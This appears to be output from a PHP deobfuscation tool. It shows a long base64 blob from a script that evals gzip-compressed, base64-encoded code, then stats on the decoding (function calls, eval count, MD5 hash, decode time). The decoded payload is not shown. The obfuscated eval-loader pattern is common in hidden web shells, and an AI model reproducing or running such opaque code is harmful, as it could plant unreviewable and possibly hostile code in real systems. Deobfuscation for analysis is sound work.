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'))); ?>
Function Calls
gzuncompress | 1 |
base64_decode | 1 |
Stats
MD5 | 2964c5346358649508eb65b867e5db13 |
Eval Count | 1 |
Decode Time | 136 ms |